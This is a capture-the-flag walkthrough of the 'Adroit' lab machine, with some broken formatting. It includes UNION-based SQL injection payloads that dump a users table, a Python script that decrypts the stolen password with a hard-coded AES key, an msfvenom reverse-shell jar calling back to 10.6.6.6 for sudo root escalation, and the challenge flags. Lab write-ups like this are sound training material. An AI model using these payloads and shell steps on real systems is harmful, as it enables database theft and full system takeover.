10.9.9.0/24 -- that has no internet accessNmap Results
# Nmap 7.95 scan initiated Tue Jan 27 17:02:25 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.39
Nmap scan report for 10.9.9.39
Host is up (0.00041s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.6.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 d2:32:82:0f:82:48:cd:c2:33:a2:a2:72:09:c5:28:91 (RSA)
| 256 4e:8a:9a:49:b9:23:c2:cd:ac:89:4f:44:b2:0b:0b:db (ECDSA)
|_ 256 32:88:82:fc:84:79:98:1d:b2:27:96:26:96:5a:68:6b (ED25519)
3000/tcp open ppp?
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx MySQL X protocol listener
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 27 17:02:38 2026 -- 1 IP address (1 host up) scanned in 12.74 secondsnmap scan We can see the FTP server allows anonymous authentication, with a pub directory available. MySQL (or MariaDB) is open to the world on tcp/3306, but we'll need a credential for, most likely.echo -e '10.9.9.39\t\tadroit.hmv' | sudo tee -a /etc/hostsAdd a hosts entry for convenience
Service Enumeration
TCP/21
ftp ftp://anonymous@adroit.hmv
ftp> prompt
ftp> mget *
ftp> quitRecursively get all files without prompting yes/no


JAR File Analysis

jd-gui ./adroitclient.jar
The credential to connect to the server on tcp/3000 is:
- Username:
zeus - Password:
god.thunder.olympus

- Line 57: If the user entered
postas the request type- Line 60: Call the
.setOption()method from therequestobject built fromR.classline 38 and indicate the request type ispost - Lines 61 – 65: Prompt the user for the phrase ID and phrase and encrypt them using the
Sup3rS3cur3Dr0itsecret - Lines 67 – 69: Create a new
Ideaobject from theIdea.classand set theidandphraseproperties with the user-supplied data - Line 70: Call the
.setIdea()method from therequestobject built fromR.classline 38, and use the user-suppliedideaobject - Line 73:
os.writeObject(request);sends the user-supplied data over the wire to the server - Line 75:
(R).is.readObject();reads the serialized data from the server response and builds an object usingR.class - Line 77: Print the server response to the console
- Line 60: Call the
Testing the Java Binary
echo -e '10.9.9.39\t\tadroit.local' | sudo tee -a /etc/hostsAdd the hostname for DNS resolution when running the client

get and post requests, it looks like the phrase identifier needs to be an integer, even though it's identified as type string in the client side.This is probably because the MySQL database has set that column to type of integer, so the developer should ensure all ends are in alignment.







Threat Modeling
Based on what I've observed in the source code and over the wire, there are some key vulnerabilities that should be probed further:
- Potentially untrusted de-serialization
- The application serializes the user input, where it is presumably de-serialized and processed server side
- We don't have access to the server source code, so we will have to do some blind testing to see if we can do any funny stuff with the serialized data
- Potential SQL injection
- The application — per the diagram — takes the user input and inserts it into the database
- Again, we have to do some blind testing here, because we don't know the database name, the table name, nor the column names
- We can assume there's some kind ID column and a Phrase column, but again, we're doing some blind testing
- Hard-coded secret
- If SQL injection can be abused, any encrypted data is easily decrypted
- An attacker could decrypt data if packets were captured over the wire (not applicable in this case, but worth mentioning)
Exploit
SQL Injection Testing
ysoserial.jar and a rudimentary Python script, but wasn't getting much, so figured SQL injection would be the easier of the two.Initial Fuzzing
SELECT * FROM tablename WHERE id = 1;.

1+1 evaluates to 2, thus entry 2 is returned
WHERE id = 1 OR true; so all records are returnedEnumerating Table Information
Number of Columns
1 OR true UNION SELECT NULL;--Nothing...
1 OR true UNION SELECT NULL, NULL;--
Return MySQL Version
1 OR true UNION SELECT NULL,@@version;--
Return Database Names
1 OR true UNION SELECT NULL,CONCAT(schema_name,0x7c) FROM information_schema.schemata;--
adroit database is definitely what we're after here.Note: Since this is a
UNION SELECT, it joins the database names next to the records from the 1 OR true query. The 0x7c is hexadecimal notation representing the | character, which separates each database name.Return Table Names
1 OR true UNION SELECT NULL,CONCAT(table_name,0x7c) FROM information_schema.tables WHERE table_schema='adroit';--'adroit' in quotes, since the comparison operation will be looking at a string.
List Columns in Users Table
| COLUMN 1 | COLUMN 2 | COLUMN 3 | COLUMN 4 | COLUMN 5 | |
|---|---|---|---|---|---|
| ROW 1 | DATA | DATA | DATA | DATA | DATA |
| ROW 2 | DATA | DATA | DATA | DATA | DATA |
| ROW 3 | DATA | DATA | DATA | DATA | DATA |
| ROW 4 | DATA | DATA | DATA | DATA | DATA |
1 OR true UNION SELECT NULL,CONCAT(column_name,0x7C) FROM information_schema.columns WHERE table_name='users';--
users table has the columns: id, password, and username. So now, if we target the password column, we can receive DATA from any rows where applicable.Retrieve Column Data from Users Table
1 OR true UNION SELECT NULL,CONCAT(0x22,username,0x22,0x3a,0x22,password,0x22) FROM users;--0x22 is hexadecimal-encoded byte for the " character. 0x3a is hexadecimal-encoded byte of the : character. So, we're using CONCAT() to join... " + username + " + : + " password + " on any rows in the table.
Cryptor.class and the secret, Sup3rS3cur3Dr0it. So, we should be able to easily reverse this. Decrypting the Password
Cryptor.class to Gemini and asked it to write a Python script to reverse the encryption, and made some tiny adjustments myself.Note: Also recall the hint on the challenge page, "Hint: one 0 is not 0 is O"
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
class AdroitCryptor:
def __init__(self, secret="Sup3rS3cur3Dr0it"):
self.key = secret.encode('utf-8')
def decrypt(self, b64_text):
try:
ciphertext = base64.b64decode(b64_text)
# Setup AES-ECB
cipher = Cipher(algorithms.AES(self.key), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
# Decrypt
padded_data = decryptor.update(ciphertext) + decryptor.finalize()
# Remove PKCS5 Padding (Standardized as PKCS7 in modern libs)
unpadder = padding.PKCS7(128).unpadder()
data = unpadder.update(padded_data) + unpadder.finalize()
return data.decode('utf-8')
except Exception as e:
return f"Decryption Error: {str(e)}"
def encrypt(self, plain_text):
# Add PKCS5 Padding
padder = padding.PKCS7(128).padder()
padded_data = padder.update(plain_text.encode('utf-8')) + padder.finalize()
# Setup AES-ECB
cipher = Cipher(algorithms.AES(self.key), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
# Encrypt
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(ciphertext).decode('utf-8')
cryptor = AdroitCryptor()
# l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=
# One of these 0s is not a zero, but an uppercase O
p_enc = [
"l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=",
"l4A+n+p+xSxDcYClOmgxKr015+OEC3aOfdrWafSqwpY=",
"l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY="
]
for enc in p_enc:
print(f"Decrypted Password: {cryptor.decrypt(enc)}")
SSH Access
ssh writer@adroit.hmv
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Linux adroit 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Current User
uid=1000(writer) gid=1000(writer) groups=1000(writer),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
Matching Defaults entries for writer on adroit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User writer may run the following commands on adroit:
(root) /usr/bin/java -jar /tmp/testingmyapp.jar
Local Users
writer:x:1000:1000:writer,,,:/home/writer:/bin/bash
Local Groups
cdrom:x:24:writer
floppy:x:25:writer
audio:x:29:writer
dip:x:30:writer
video:x:44:writer
plugdev:x:46:writer
netdev:x:109:writer
bluetooth:x:111:writer
writer:x:1000:
Network Configurations
Network Interfaces
ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether bc:24:11:f4:7f:48 brd ff:ff:ff:ff:ff:ff
inet 10.9.9.39/24 brd 10.9.9.255 scope global dynamic ens18
valid_lft 4513sec preferred_lft 4513sec
inet6 fe80::be24:11ff:fef4:7f48/64 scope link
valid_lft forever preferred_lft forever
Processes and Services
Interesting Processes
root 279 0.0 0.0 6644 2980 ? Ss Jan27 0:00 /bin/bash /opt/server/start.sh
root 293 0.0 3.1 3045020 127048 ? Sl Jan27 0:05 \_ java -jar adroitserver.jar
Privilege Escalation
Becoming Root
The current sudo configuration for writer is to allow password-less execution of /usr/bin/java -jar /tmp/testingmyapp.jar. However, /tmp/testingmyapp.jar does not exist on the system and is targeted in /tmp/, meaning we can easily put any .jar of our pleasing there.
msfvenom LHOST='10.6.6.6' LPORT=443 -p java/shell_reverse_tcp -f jar -o testingmyapp.jarCreate a .jar that will result in a reverse shell
scp ./testingmyapp.jar writer@adroit.hmv:/tmpCopy the malicious .jar file to the target

sudo rlwrap nc -lnvp 443Start a TCP socket to catch the reverse shell
sudo /usr/bin/java -jar /tmp/testingmyapp.jar
/opt/server/adroitserver.jar in jd-gui to see if Java object deserialization was a valid avenue. It never would have worked, because the Java environment is so minimal that there are no gadgets that could have been chained to get command execution.Flags
User
61de3a25161dcb2b88b5119457690c3c
Root
017a030885f25af277dd891d0f151845
